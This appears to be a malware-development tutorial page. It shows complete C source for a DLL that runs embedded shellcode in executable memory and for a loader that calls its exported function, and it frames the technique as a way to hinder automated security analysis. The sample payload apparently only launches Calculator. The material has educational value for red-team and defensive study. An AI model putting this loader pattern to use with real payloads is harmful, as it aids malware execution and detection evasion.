DLL Execution ( Disk )
Code execution by loading a module (DLL) into current process from disk
A simple alternative to executing shellcode from current PE file is to load the shellcode from another PE file (in this case, a DLL).
This can complicate dynamic analysis a little more for automated security solutions but not much for a human analyst.
If you are not familiar with the basics of DLLs, take a look at Dynamic Link Library section.
The execution flow is like this:
The current benign PE is executed and a process is created
A function prototype is defined for the target function that is exported by the DLL
The process will look for the DLL on disk using
LoadLibraryA
and load it into memoryThe DLL handle is passed on to
GetProcAddress
in order to find the function that should be executedTarget function is called shellcode gets executed
Our malicious DLL will look like this:
#include <windows.h>
#include "pch.h"
unsigned char shellcode[] = {
0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30,
0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48,
0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7
};
// Exported function to execute the shellcode
extern __declspec(dllexport) void ShellExec() {
void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
WaitForSingleObject(th, 10);
}
// Entry point for the DLL
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
The DLL loader code:
#include <windows.h>
#include <stdio.h>
// Define a function pointer type for ShellExec
typedef void (*SHELLEXEC_FUNC)();
int main() {
// Path to the DLL on disk (relative to current executable path)
const char* dllPath = "BadDll.dll";
// Load the DLL
HMODULE hDll = LoadLibraryA(dllPath);
if (hDll == NULL) {
printf("[-] Failed to load the DLL. Error: %lu\n", GetLastError());
return 1;
}
printf("[+] DLL loaded successfully.\n");
// Get the address of the exported ShellExec function
SHELLEXEC_FUNC ShellExecFunc = (SHELLEXEC_FUNC)GetProcAddress(hDll, "ShellExec");
if (ShellExecFunc == NULL) {
printf("[-] Failed to find the ShellExec function. Error: %lu\n", GetLastError());
FreeLibrary(hDll);
return 1;
}
printf("[+] ShellExec function found successfully.\n");
// Call the ShellExec function
printf("[*] Calling ShellExec function...\n");
ShellExecFunc();
// Unload the DLL
FreeLibrary(hDll);
return 0;
}
The output:

Code Samples
Code snippets are available on GitHub:
Last updated
Was this helpful?